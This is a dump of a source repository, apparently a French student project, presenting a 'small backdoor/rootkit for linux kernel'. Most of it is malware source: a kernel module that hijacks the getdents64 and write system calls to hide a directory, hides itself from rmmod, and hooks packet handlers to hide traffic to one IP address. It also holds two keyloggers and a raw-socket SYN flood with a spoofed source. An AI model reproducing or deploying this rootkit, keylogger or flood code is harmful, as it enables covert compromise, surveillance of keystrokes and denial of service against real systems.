├── Backdoor_Linux.pdf ├── Backdoor_Linux_src.tar.gz ├── Backdoor_Linux_src ├── README ├── keylogger │ ├── Makefile │ └── keylogger.c └── rooty │ ├── Makefile │ └── rooty.c ├── LICENSE ├── Makefile ├── README.md ├── client-server ├── keylogger.old ├── Makefile └── keylogger.c ├── keylogger ├── Makefile ├── keylogger └── keylogger.c ├── rooty.c ├── rooty ├── .built-in.o.cmd ├── .rooty.ko.cmd ├── .rooty.mod.o.cmd ├── .rooty.o.cmd ├── .tmp_versions │ └── rooty.mod ├── Makefile ├── Module.symvers ├── built-in.o ├── modules.order ├── rooty.c ├── rooty.ko ├── rooty.mod.c ├── rooty.mod.o └── rooty.o └── test_getdents └── main.c /Backdoor_Linux.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nsarlin/BackdoorLinux/bc25b2d614e4edba880369fb362c4a8095a5d9e4/Backdoor_Linux.pdf -------------------------------------------------------------------------------- /Backdoor_Linux_src.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nsarlin/BackdoorLinux/bc25b2d614e4edba880369fb362c4a8095a5d9e4/Backdoor_Linux_src.tar.gz -------------------------------------------------------------------------------- /Backdoor_Linux_src/README: -------------------------------------------------------------------------------- 1 | Backdoor Linux 2 | 3 | Matthieu Renard, Nicolas Sarlin, Ivan Landry, Ibrahima Sory Sow 4 | 5 | Le repertoire rooty contient un module noyau qui hijack un appel système. 6 | Ce module peut être rendu invisible (impossibilité de le supprimer avec rmmod), 7 | et peut remplacer l'appel système write ou l'appel système getdents64. 8 | Dans les deux cas, le but est de cacher un fichier nommé ".rooty" lors de 9 | l'utilisation de ls. Remplacer write fonctionne moins bien que remplacer 10 | getdents64 et semble plus facile à détecter. 11 | 12 | Pour compiler le module (visible, remplacement de getdents54 par défaut) : 13 | make 14 | 15 | Pour compiler en ajoutant l'invisibilité : 16 | make invisible 17 | 18 | Pour remplacer write au lieu de getdents64 : 19 | make write 20 | 21 | Pour remplacer write et être invisible : 22 | make invisible_write 23 | 24 | 25 | Il faut ensuite charger le module, et le dossier .rooty n'appraîtra plus. Si c'est write qui est remplacé, il risque de ne pas être le seul... 26 | Si le module est invisible, il faut redémarrer le système pour le décharger. 27 | 28 | 29 | Dans le dossier keylogger simplement faire : 30 | make 31 | 32 | Cela crée un executable keylogger, qui recupere tous les evenements du clavier. 33 | Cet executable doit etre lance en tant que root et prend en parametre le fichier 34 | correspondant au clavier (fichier /dev/input/eventX). 35 | 36 | 37 | 38 | -------------------------------------------------------------------------------- /Backdoor_Linux_src/keylogger/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | cc keylogger.c -lpthread -o keylogger 3 | -------------------------------------------------------------------------------- /Backdoor_Linux_src/keylogger/keylogger.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | int main(int argc, char **argv) 9 | { 10 | int fd; 11 | if(argc < 2) { 12 | printf("usage: %s \n", argv[0]); 13 | return 1; 14 | } 15 | fd = open(argv[1], O_RDONLY); 16 | struct input_event ev; 17 | 18 | while (1) 19 | { 20 | read(fd, &ev, sizeof(struct input_event)); 21 | 22 | if(ev.type == 1) 23 | printf("key %i state %i\n", ev.code, ev.value); 24 | 25 | } 26 | } 27 | 28 | -------------------------------------------------------------------------------- /Backdoor_Linux_src/rooty/Makefile: -------------------------------------------------------------------------------- 1 | obj-m := rooty.o 2 | KERNEL_DIR = /lib/modules/$(shell uname -r)/build 3 | PWD = $(shell pwd) 4 | OPTS = 5 | 6 | all: 7 | $(MAKE) -C $(KERNEL_DIR) SUBDIRS=$(PWD) 8 | 9 | invisible: 10 | $(OPTS) += -DINVISIBLE_MODULE 11 | 12 | write: 13 | $(OPTS) += -DHIJACK_WRITE 14 | 15 | 16 | clean: 17 | -rm -rf *.o *.ko *.symvers *.mod *.order 18 | 19 | -------------------------------------------------------------------------------- /Backdoor_Linux_src/rooty/rooty.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | MODULE_LICENSE("GPL"); 12 | int rooty_init(void); 13 | void rooty_exit(void); 14 | module_init(rooty_init); 15 | module_exit(rooty_exit); 16 | 17 | #if defined(__i386__) 18 | #define START_CHECK 0xc0000000 19 | #define END_CHECK 0xd0000000 20 | typedef unsigned int psize; 21 | #else 22 | #define START_CHECK 0xffffffff81000000 23 | #define END_CHECK 0xffffffffa2000000 24 | typedef unsigned long psize; 25 | #endif 26 | 27 | 28 | psize *sys_call_table; 29 | asmlinkage ssize_t (*o_write)(int fd, char *buff, ssize_t count); 30 | asmlinkage int (*o_getdents64)(unsigned int fd, 31 | struct linux_dirent *dirent,unsigned int count); 32 | 33 | psize **find(void) 34 | { 35 | psize **sctable; 36 | psize i = START_CHECK; 37 | while (i < END_CHECK) 38 | { 39 | sctable = (psize **)i; 40 | if (sctable[__NR_close] == (psize *)sys_close) 41 | { 42 | return &sctable[0]; 43 | } 44 | i += sizeof(void *); 45 | } 46 | 47 | return NULL; 48 | } 49 | 50 | asmlinkage ssize_t rooty_write(int fd, const char __user *buff, size_t count) 51 | { 52 | ssize_t ret; 53 | char *proc_protect = ".rooty"; /* The name of the directory to protect */ 54 | char *kbuff = (char *)kmalloc(256, GFP_KERNEL); 55 | char *pos; 56 | 57 | copy_from_user(kbuff, buff, 255); 58 | 59 | if (strstr(kbuff, proc_protect)) 60 | { 61 | kfree(kbuff); 62 | return EEXIST; 63 | } 64 | 65 | ret = o_write(fd, buff, count); 66 | kfree(kbuff); 67 | 68 | return ret; 69 | } 70 | 71 | 72 | asmlinkage int rooty_getdents64(unsigned int fd, 73 | struct linux_dirent64 *dirp, unsigned int count) 74 | { 75 | int ret = o_getdents64(fd, dirp, count); 76 | int pos; 77 | struct linux_dirent64 *d, *prev = NULL; 78 | char *kbuff = kmalloc(256, GFP_KERNEL); 79 | 80 | for (pos = 0 ; pos < ret-1 ; ) 81 | { 82 | d = (struct inux_dirent64 *)((char *)dirp + pos); 83 | copy_from_user(kbuff, d->d_name, 255); 84 | 85 | if (strcmp(kbuff, ".rooty") == 0) 86 | { 87 | if (prev == NULL) 88 | { 89 | kfree(kbuff); 90 | *dirp = *(struct linux_dirent64 *)((char *)d + d->d_reclen); 91 | return ret - d->d_reclen; 92 | } 93 | else 94 | { 95 | prev->d_reclen += d->d_reclen; 96 | break; 97 | } 98 | } 99 | 100 | pos += d->d_reclen; 101 | prev = d; 102 | } 103 | return ret; 104 | } 105 | 106 | int rooty_init(void) 107 | { 108 | /* To hide the module */ 109 | #ifdef INVISIBLE_MODULE 110 | list_del_init(&__this_module.list); 111 | kobject_del(&THIS_MODULE->mkobj.kobj); 112 | #endif 113 | 114 | if ((sys_call_table = (psize *)find()) != NULL) 115 | printk("rooty : sys_call_table found at %p\n", sys_call_table); 116 | else 117 | printk("rooty : sys_call_table not found\n"); 118 | 119 | write_cr0(read_cr0() & (~0x10000)); 120 | 121 | #ifdef HIJACK_WRITE 122 | o_write = (void *)xchg(&sys_call_table[__NR_write], rooty_write); 123 | #else 124 | o_getdents64 = (void *)xchg(&sys_call_table[__NR_getdents64], rooty_getdents64); 125 | #endif 126 | 127 | write_cr0(read_cr0() | 0x10000); 128 | 129 | return 0; 130 | } 131 | 132 | void rooty_exit(void) 133 | { 134 | write_cr0(read_cr0() & (~0x10000)); 135 | 136 | #ifdef HIJACK_WRITE 137 | xchg(&sys_call_table[__NR_write], o_write); 138 | #else 139 | xchg(&sys_call_table[__NR_getdents64], o_getdents64); 140 | #endif 141 | 142 | write_cr0(read_cr0() | 0x10000); 143 | printk("rooty : module removed\n"); 144 | } 145 | 146 | 147 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | This is free and unencumbered software released into the public domain. 2 | 3 | Anyone is free to copy, modify, publish, use, compile, sell, or 4 | distribute this software, either in source code form or as a compiled 5 | binary, for any purpose, commercial or non-commercial, and by any 6 | means. 7 | 8 | In jurisdictions that recognize copyright laws, the author or authors 9 | of this software dedicate any and all copyright interest in the 10 | software to the public domain. We make this dedication for the benefit 11 | of the public at large and to the detriment of our heirs and 12 | successors. We intend this dedication to be an overt act of 13 | relinquishment in perpetuity of all present and future rights to this 14 | software under copyright law. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, 17 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 18 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. 19 | IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR 20 | OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, 21 | ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR 22 | OTHER DEALINGS IN THE SOFTWARE. 23 | 24 | For more information, please refer to 25 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | obj-m := rooty.o 2 | KERNEL_DIR = /lib/modules/$(shell uname -r)/build 3 | PWD = $(shell pwd) 4 | 5 | all: 6 | $(MAKE) -C $(KERNEL_DIR) SUBDIRS=$(PWD) 7 | 8 | clean: 9 | -rm -rf *.o *.ko *.symvers *.mod *.order 10 | 11 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | BackdoorLinux 2 | ============= 3 | 4 | Small Backdoor/rootkit for linux kernel 5 | -------------------------------------------------------------------------------- /client-server: -------------------------------------------------------------------------------- 1 | /// J'ai cherché trouver une manière de d'envoyer des paquets HTTP de manière furtive, mais je n'en ai pas trouvé. 2 | /// J'essaie donc de trouver une manière d'envoyer des paquets ethernet, j'ai trouvé ça dans le rapport qui a été fait 3 | /// par le prof lui même sur les rootkits. 4 | 5 | /// Voici le premier code que j'avais trouvé pour l'implémentation d'un raw socket 6 | 7 | #define __USE_BSD /* utilise bsd'ish ip header */ 8 | #include /* Ces entetes sont pour un systeme Linux, mais*/ 9 | #include /* mais les noms sur les autres systemes sont faciles a deviner*/ 10 | #include 11 | #define __FAVOR_BSD /* utilise bsd'ish tcp header */ 12 | #include 13 | #include 14 | 15 | #define P 25 /* Floodons le port sendmail */ 16 | 17 | unsigned short /* Cette fonction genere des controles sur les entetes*/ 18 | csum (unsigned short *buf, int nwords) 19 | { 20 | unsigned long sum; 21 | for (sum = 0; nwords > 0; nwords--) 22 | sum += *buf++; 23 | sum = (sum >> 16) + (sum & 0xffff); 24 | sum += (sum >> 16); 25 | return ~sum; 26 | } 27 | 28 | int 29 | main (void) 30 | { 31 | int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP); /* Ouverture raw socket */ 32 | char datagram[4096]; /* Ce buffer contiendra l'entete IPn l'entete TCP et le contenu. Nous pointons une structure d'entete IP a son commencement 33 | et une structure d'entete TCP apres cela pour ecrire la valeur de l'entete a l'interieur */ 34 | 35 | struct ip *iph = (struct ip *) datagram; 36 | struct tcphdr *tcph = (struct tcphdr *) datagram + sizeof (struct ip); 37 | struct sockaddr_in sin; 38 | /* Le sockaddr_in contient l'adresse de destination. Il est utilise dans le sendto() pour determiner le chemin des datagrammes */ 39 | 40 | sin.sin_family = AF_INET; 41 | sin.sin_port = htons (P);/* you byte-order >1byte header values to network 42 | byte order (not needed on big endian machines) */ 43 | sin.sin_addr.s_addr = inet_addr ("127.0.0.1"); 44 | 45 | memset (datagram, 0, 4096); /* zero out the buffer */ 46 | 47 | /*Nous remplissons maintenant les valeurs des entetes IP/TCP, voir en dessous pour les explications. */ 48 | iph->ip_hl = 5; 49 | iph->ip_v = 4; 50 | iph->ip_tos = 0; 51 | iph->ip_len = sizeof (struct ip) + sizeof (struct tcphdr); /* pas de contenu */ 52 | iph->ip_id = htonl (54321); /* La valeur n'a pas d'importance ici */ 53 | iph->ip_off = 0; 54 | iph->ip_ttl = 255; 55 | iph->ip_p = 6; 56 | iph->ip_sum = 0; /* mettre la valeur a 0 avant de calculer la somme de controle actuelle */ 57 | iph->ip_src.s_addr = inet_addr ("1.2.3.4");/* SYN peut etre spoofe */ 58 | iph->ip_dst.s_addr = sin.sin_addr.s_addr; 59 | tcph->th_sport = htons (1234); /* port arbitraire */ 60 | tcph->th_dport = htons (P); 61 | tcph->th_seq = random ();/* dans un paquet SYN , la sequence numerique est aleatoire*/ 62 | tcph->th_ack = 0;/* et la sequence ack est 0 dans le premier paquet */ 63 | tcph->th_x2 = 0; 64 | tcph->th_off = 0; /* Premier et unique segment TCP */ 65 | tcph->th_flags = TH_SYN; /* Demande de connection initial */ 66 | tcph->th_win = htonl (65535); /* Taille maximum de la fenetre utillisee */ 67 | tcph->th_sum = 0;/* Si vous mettez le controle a 0, votre pile IP centrale se remplira correctement durant la transmission */ 68 | tcph->th_urp = 0; 69 | 70 | iph->ip_sum = csum ((unsigned short *) datagram, iph->ip_len >> 1); 71 | 72 | /* Finalement, il est recommande de faire un appel IP_HDRINCL, pour etre sure que le noyau sait que l'entete est incluse dans les donnees et non pas dans le paquet 73 | avant celui des donnees */ 74 | 75 | { /* ... */ 76 | int one = 1; 77 | const int *val = &one; 78 | if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0) 79 | printf ("Warning: Cannot set HDRINCL!\n"); 80 | } 81 | 82 | while (1) 83 | { 84 | if (sendto (s, /* Notre socket */ 85 | datagram, /* le buffer contenant les entetes et les donnees */ 86 | iph->ip_len, /* taille totale de notre datagramme */ 87 | 0, /* indicateur de routage, normalement toujours a 0 */ 88 | (struct sockaddr *) &sin, /* socket addr, comme dans un */ 89 | sizeof (sin)) < 0) /* send() normal */ 90 | printf ("error\n"); 91 | else 92 | printf ("."); 93 | } 94 | 95 | return 0; 96 | } 97 | 98 | 99 | 100 | -------------------------------------------------------------------------------- /keylogger.old/Makefile: -------------------------------------------------------------------------------- 1 | obj-m := keylogger.o 2 | KERNEL_DIR = /lib/modules/$(shell uname -r)/build 3 | PWD = $(shell pwd) 4 | 5 | all: 6 | $(MAKE) -C $(KERNEL_DIR) SUBDIRS=$(PWD) 7 | 8 | clean: 9 | -rm -rf *.o *.ko *.symvers *.mod *.order 10 | 11 | -------------------------------------------------------------------------------- /keylogger.old/keylogger.c: -------------------------------------------------------------------------------- 1 | /** keylogger.c 2 | * 3 | * Create an interrupt handler to log all keys pressed on keyboard 4 | */ 5 | 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #define KEYBOARD_IRQ 1 13 | #define KBD_STATUS_REG 0x64 14 | #define KBD_CTL_REG 0x64 15 | #define KBD_DATA_REG 0x60 16 | 17 | #define kbd_read_input() inb(KBD_DATA_REG) 18 | #define kbd_read_status() inb(KBD_STATUS_REG) 19 | #define kbd_write_output(val) outb(val, KBD_DATA_REG) 20 | #define kbd_write_command(val) outb(val, KBD_CTL_REG) 21 | 22 | static int keylogger_init(void); 23 | static void keylogger_exit(void); 24 | 25 | void my_keyboard_irq_handler(int irq, void *dev_id, struct pt_regs *regs) 26 | { 27 | int scancode = kbd_read_input(); 28 | int cp = scancode; 29 | int power = 0; 30 | int key_status = kbd_read_status(); 31 | char buff[15]; 32 | int i = 0, n; 33 | 34 | /* int fd = open("/home/user1/securite/projet/keylogger/keylog.log", O_WRONLY, O_CREAT | O_APPEND); 35 | */ 36 | 37 | while (cp > 0) 38 | { 39 | cp /= 10; 40 | power++; 41 | } 42 | 43 | while (power >= 0) 44 | { 45 | buff[i++] = (scancode % 10) + '0'; 46 | power--; 47 | scancode /= 10; 48 | } 49 | 50 | buff[i++] = '\n'; 51 | buff[i] = '\0'; 52 | 53 | /* n = write(fd, buff, i); 54 | */ 55 | printk(KERN_INFO "%s\n", buff); 56 | } 57 | 58 | static int keylogger_init() 59 | { 60 | free_irq(KEYBOARD_IRQ, 0); 61 | int n = request_irq(KEYBOARD_IRQ, my_keyboard_irq_handler, 0, "my_keyboard", 0); 62 | printk(KERN_INFO "Starting keylogger (%i)...\n",n); 63 | 64 | return 0; 65 | } 66 | 67 | static void keylogger_exit() 68 | { 69 | printk(KERN_INFO "Exiting keylogger...\n"); 70 | } 71 | 72 | module_init(keylogger_init); 73 | module_exit(keylogger_exit); 74 | 75 | MODULE_LICENSE("GPL"); 76 | 77 | -------------------------------------------------------------------------------- /keylogger/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | cc keylogger.c -lpthread -o keylogger 3 | -------------------------------------------------------------------------------- /keylogger/keylogger: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nsarlin/BackdoorLinux/bc25b2d614e4edba880369fb362c4a8095a5d9e4/keylogger/keylogger -------------------------------------------------------------------------------- /keylogger/keylogger.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #define MAX_CHAR 4 13 | 14 | pthread_mutex_t mutex_device; 15 | int found = -1; 16 | char *found_path_file; 17 | 18 | 19 | // returns "/dev/input/eventX" where X is int parameter 20 | char *get_event_file_path(int id_file){ 21 | char id_file_c[MAX_CHAR]; 22 | snprintf(id_file_c, sizeof(id_file_c), "%d", id_file); 23 | char *partial_path = "/dev/input/event"; 24 | char *complete_path = (char *) malloc(strlen(partial_path)+strlen(id_file_c)); 25 | strcpy(complete_path, partial_path); 26 | strcat(complete_path, id_file_c); 27 | return complete_path; 28 | } 29 | 30 | // thread listening function 31 | void *listen_event_file(void *arg) 32 | { 33 | int id_file = (int) *((int *) arg); 34 | char * path_file = get_event_file_path(id_file); 35 | printf("listen to %s\n",path_file); 36 | int fd = open(path_file, O_RDONLY | O_NONBLOCK); 37 | 38 | struct input_event ev; 39 | while (found < 0) 40 | { 41 | int count = read(fd, &ev, sizeof(struct input_event)); 42 | if (ev.type == 1) 43 | { 44 | pthread_mutex_lock(&mutex_device); 45 | found = id_file; 46 | pthread_mutex_unlock(&mutex_device); 47 | found_path_file = path_file; 48 | 49 | } 50 | pthread_yield(); 51 | } 52 | pthread_exit(NULL); 53 | } 54 | 55 | int main(int argc, char **argv) 56 | { 57 | 58 | // count number of devices 59 | char count_device_command[] = "ls /dev/input/event* | wc -w"; 60 | char count_device_value[MAX_CHAR]; 61 | 62 | FILE* fp = popen(count_device_command, "r"); 63 | while (fgets(count_device_value, MAX_CHAR, fp) != NULL); 64 | pclose(fp); 65 | 66 | int nb_device = atoi(count_device_value); 67 | pthread_mutex_init(&mutex_device, NULL); 68 | 69 | // one thread to listen each device 70 | pthread_attr_t attr; 71 | pthread_attr_init(&attr); 72 | pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_JOINABLE); 73 | pthread_t listener[nb_device]; 74 | int device_id[nb_device]; 75 | void *status; 76 | 77 | printf("found %d devices\n",nb_device); 78 | 79 | int i; 80 | for (i=0; i 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | 15 | MODULE_LICENSE("GPL"); 16 | int rooty_init(void); 17 | void rooty_exit(void); 18 | module_init(rooty_init); 19 | module_exit(rooty_exit); 20 | 21 | #if defined(__i386__) 22 | #define START_CHECK 0xc0000000 23 | #define END_CHECK 0xd0000000 24 | typedef unsigned int psize; 25 | #else 26 | #define START_CHECK 0xffffffff81000000 27 | #define END_CHECK 0xffffffffa2000000 28 | typedef unsigned long psize; 29 | #endif 30 | 31 | //l'adresse IP dont on veut rendre les communications invisibles 32 | #define IP htonl(0xac140023) 33 | 34 | //La table d'appels systèmes 35 | psize *sys_call_table; 36 | psize *sym_pr; 37 | psize *sym_rr; 38 | 39 | //Les adresses des appels que l'on hijack 40 | asmlinkage ssize_t (*o_write)(int fd, char *buff, ssize_t count); 41 | asmlinkage static int (*o_packet_rcv)(struct sk_buff *skb, struct net_device *dev,struct packet_type *pt); 42 | asmlinkage static int (*o_raw_rcv)(struct sock *sk, struct sk_buff *skb); 43 | 44 | //Cette fonction recherche l'adresse de la table d'appels systèmes 45 | psize **find(void) 46 | { 47 | psize **sctable; 48 | psize i = START_CHECK; 49 | while (i < END_CHECK) 50 | { 51 | sctable = (psize **)i; 52 | if (sctable[__NR_close] == (psize *)sys_close) 53 | { 54 | return &sctable[0]; 55 | } 56 | i += sizeof(void *); 57 | } 58 | 59 | return NULL; 60 | } 61 | 62 | /*------------------FONCTIONS DE REPLACEMENT DES APPELS SYSTEME------------------*/ 63 | 64 | 65 | //write 66 | asmlinkage ssize_t rooty_write(int fd, const char __user *buff, size_t count) 67 | { 68 | ssize_t ret; 69 | char *proc_protect = ".rooty"; /* Le dossier à protéger */ 70 | char *kbuff = (char *)kmalloc(256, GFP_KERNEL); 71 | 72 | copy_from_user(kbuff, buff, 255); 73 | 74 | if (strstr(kbuff, proc_protect)) 75 | { 76 | kfree(kbuff); 77 | return EEXIST; 78 | } 79 | 80 | ret = o_write(fd, buff, count); 81 | kfree(kbuff); 82 | 83 | return ret; 84 | } 85 | 86 | //packet_rcv 87 | asmlinkage int rooty_packet_rcv(struct sk_buff *skb, struct net_device *dev, struct packet_type *pt) 88 | { 89 | int ret; 90 | 91 | struct iphdr* iph = ip_hdr(skb); 92 | 93 | /* Vérififie l'adresse de provenance ou de destination du paquet*/ 94 | if (skb->protocol == htons(ETH_P_IP)){ /* Si il s'agit d'un paquet IP */ 95 | if (iph->saddr == IP || iph->daddr == IP){ /*Et que l'adresse est bonne*/ 96 | printk("rooty : paquet received\n"); 97 | return 0; /* L'ignorer */ 98 | } 99 | } 100 | ret = o_packet_rcv(skb, dev, pt); 101 | 102 | return ret; 103 | } 104 | 105 | //raw_rcv 106 | asmlinkage int rooty_raw_rcv(struct sock* sock, struct sk_buff *skb) 107 | { 108 | int ret; 109 | 110 | struct iphdr* iph = ip_hdr(skb); 111 | 112 | /* Vérififie l'adresse de provenance ou de destination du paquet*/ 113 | if (skb->protocol == htons(ETH_P_IP)){ /* Si il s'agit d'un paquet IP */ 114 | if (iph->saddr == IP || iph->daddr == IP){ /*Et que l'adresse est bonne*/ 115 | printk("rooty : paquet received\n"); 116 | return 0; /* L'ignorer */ 117 | } 118 | } 119 | ret = o_raw_rcv(sock, skb); 120 | 121 | return ret; 122 | } 123 | 124 | 125 | 126 | int rooty_init(void) 127 | { 128 | /* To hide the module */ 129 | /* 130 | list_del_init(&__this_module.list); 131 | kobject_del(&THIS_MODULE->mkobj.kobj); 132 | */ 133 | 134 | if ((sys_call_table = (psize *)find()) != NULL) 135 | printk("rooty : sys_call_table found at %p\n", sys_call_table); 136 | else 137 | printk("rooty : sys_call_table not found\n"); 138 | 139 | 140 | 141 | sym_pr = (psize *)kallsyms_lookup_name("packet_rcv"); 142 | sym_rr = (psize *)kallsyms_lookup_name("raw_rcv"); 143 | 144 | printk("rooty : write found at %p\n", &sys_call_table[__NR_write]); 145 | printk("rooty : packet_rcv found at %p\n", sym_pr); 146 | printk("rooty : raw_rcv found at %p\n", sym_rr); 147 | 148 | 149 | 150 | 151 | write_cr0(read_cr0() & (~0x10000)); 152 | 153 | 154 | o_write = (void *)xchg(&sys_call_table[__NR_write], rooty_write); 155 | o_packet_rcv = (void *)xchg(sym_pr, rooty_packet_rcv); 156 | o_raw_rcv = (void *)xchg(sym_rr, rooty_packet_rcv); 157 | write_cr0(read_cr0() | 0x10000); 158 | 159 | 160 | printk("rooty : write is now at %p\n", &sys_call_table[__NR_write]); 161 | printk("rooty : packet_rcv is now at %p\n", sym_pr); 162 | printk("rooty : raw_rcv is now at %p\n", sym_rr); 163 | 164 | 165 | 166 | return 0; 167 | } 168 | 169 | void rooty_exit(void) 170 | { 171 | write_cr0(read_cr0() & (~0x10000)); 172 | 173 | xchg(&sys_call_table[__NR_write], o_write); 174 | xchg(sym_pr, o_packet_rcv); 175 | xchg(sym_rr, o_packet_rcv); 176 | write_cr0(read_cr0() | 0x10000); 177 | printk("rooty : module removed\n"); 178 | } 179 | 180 | 181 | -------------------------------------------------------------------------------- /rooty/.built-in.o.cmd: -------------------------------------------------------------------------------- 1 | cmd_/home/user/BackdoorLinux/rooty/built-in.o := rm -f /home/user/BackdoorLinux/rooty/built-in.o; ar rcsD /home/user/BackdoorLinux/rooty/built-in.o 2 | -------------------------------------------------------------------------------- /rooty/.rooty.ko.cmd: -------------------------------------------------------------------------------- 1 | cmd_/home/user/BackdoorLinux/rooty/rooty.ko := ld -r -m elf_i386 -T /usr/src/linux-headers-3.2.0-4-common/scripts/module-common.lds --build-id -o /home/user/BackdoorLinux/rooty/rooty.ko /home/user/BackdoorLinux/rooty/rooty.o /home/user/BackdoorLinux/rooty/rooty.mod.o 2 | -------------------------------------------------------------------------------- /rooty/.rooty.mod.o.cmd: -------------------------------------------------------------------------------- 1 | cmd_/home/user/BackdoorLinux/rooty/rooty.mod.o := gcc-4.6 -Wp,-MD,/home/user/BackdoorLinux/rooty/.rooty.mod.o.d -nostdinc -isystem /usr/lib/gcc/i486-linux-gnu/4.6/include -I/usr/src/linux-headers-3.2.0-4-common/arch/x86/include -Iarch/x86/include/generated -Iinclude -I/usr/src/linux-headers-3.2.0-4-common/include -include /usr/src/linux-headers-3.2.0-4-common/include/linux/kconfig.h -I/home/user/BackdoorLinux/rooty -D__KERNEL__ -DINVISIBLE_MODULE -Wall -Wundef -Wstrict-prototypes -Wno-trigraphs -fno-strict-aliasing -fno-common -Werror-implicit-function-declaration -Wno-format-security -fno-delete-null-pointer-checks -Os -m32 -msoft-float -mregparm=3 -freg-struct-return -mpreferred-stack-boundary=2 -march=i486 -mtune=generic -Wa,-mtune=generic32 -ffreestanding -fstack-protector -DCONFIG_AS_CFI=1 -DCONFIG_AS_CFI_SIGNAL_FRAME=1 -DCONFIG_AS_CFI_SECTIONS=1 -pipe -Wno-sign-compare -fno-asynchronous-unwind-tables -mno-sse -mno-mmx -mno-sse2 -mno-3dnow -Wframe-larger-than=1024 -Wno-unused-but-set-variable -fomit-frame-pointer -Wdeclaration-after-statement -Wno-pointer-sign -fno-strict-overflow -fconserve-stack -DCC_HAVE_ASM_GOTO -D"KBUILD_STR(s)=\#s" -D"KBUILD_BASENAME=KBUILD_STR(rooty.mod)" -D"KBUILD_MODNAME=KBUILD_STR(rooty)" -DMODULE -c -o /home/user/BackdoorLinux/rooty/rooty.mod.o /home/user/BackdoorLinux/rooty/rooty.mod.c 2 | 3 | source_/home/user/BackdoorLinux/rooty/rooty.mod.o := /home/user/BackdoorLinux/rooty/rooty.mod.c 4 | 5 | deps_/home/user/BackdoorLinux/rooty/rooty.mod.o := \ 6 | $(wildcard include/config/module/unload.h) \ 7 | /usr/src/linux-headers-3.2.0-4-common/include/linux/module.h \ 8 | $(wildcard include/config/sysfs.h) \ 9 | $(wildcard include/config/modules.h) \ 10 | $(wildcard include/config/unused/symbols.h) \ 11 | $(wildcard include/config/generic/bug.h) \ 12 | $(wildcard include/config/kallsyms.h) \ 13 | $(wildcard include/config/smp.h) \ 14 | $(wildcard include/config/tracepoints.h) \ 15 | $(wildcard include/config/tracing.h) \ 16 | $(wildcard include/config/event/tracing.h) \ 17 | $(wildcard include/config/ftrace/mcount/record.h) \ 18 | $(wildcard include/config/constructors.h) \ 19 | $(wildcard include/config/debug/set/module/ronx.h) \ 20 | /usr/src/linux-headers-3.2.0-4-common/include/linux/list.h \ 21 | $(wildcard include/config/debug/list.h) \ 22 | /usr/src/linux-headers-3.2.0-4-common/include/linux/types.h \ 23 | $(wildcard include/config/uid16.h) \ 24 | $(wildcard include/config/lbdaf.h) \ 25 | $(wildcard include/config/arch/dma/addr/t/64bit.h) \ 26 | $(wildcard include/config/phys/addr/t/64bit.h) \ 27 | $(wildcard include/config/64bit.h) \ 28 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/types.h \ 29 | /usr/src/linux-headers-3.2.0-4-common/include/asm-generic/types.h \ 30 | /usr/src/linux-headers-3.2.0-4-common/include/asm-generic/int-ll64.h \ 31 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/bitsperlong.h \ 32 | /usr/src/linux-headers-3.2.0-4-common/include/asm-generic/bitsperlong.h \ 33 | /usr/src/linux-headers-3.2.0-4-common/include/linux/posix_types.h \ 34 | /usr/src/linux-headers-3.2.0-4-common/include/linux/stddef.h \ 35 | /usr/src/linux-headers-3.2.0-4-common/include/linux/compiler.h \ 36 | $(wildcard include/config/sparse/rcu/pointer.h) \ 37 | $(wildcard include/config/trace/branch/profiling.h) \ 38 | $(wildcard include/config/profile/all/branches.h) \ 39 | $(wildcard include/config/enable/must/check.h) \ 40 | $(wildcard include/config/enable/warn/deprecated.h) \ 41 | /usr/src/linux-headers-3.2.0-4-common/include/linux/compiler-gcc.h \ 42 | $(wildcard include/config/arch/supports/optimized/inlining.h) \ 43 | $(wildcard include/config/optimize/inlining.h) \ 44 | /usr/src/linux-headers-3.2.0-4-common/include/linux/compiler-gcc4.h \ 45 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/posix_types.h \ 46 | $(wildcard include/config/x86/32.h) \ 47 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/posix_types_32.h \ 48 | /usr/src/linux-headers-3.2.0-4-common/include/linux/poison.h \ 49 | $(wildcard include/config/illegal/pointer/value.h) \ 50 | /usr/src/linux-headers-3.2.0-4-common/include/linux/const.h \ 51 | /usr/src/linux-headers-3.2.0-4-common/include/linux/stat.h \ 52 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/stat.h \ 53 | /usr/src/linux-headers-3.2.0-4-common/include/linux/time.h \ 54 | $(wildcard include/config/arch/uses/gettimeoffset.h) \ 55 | 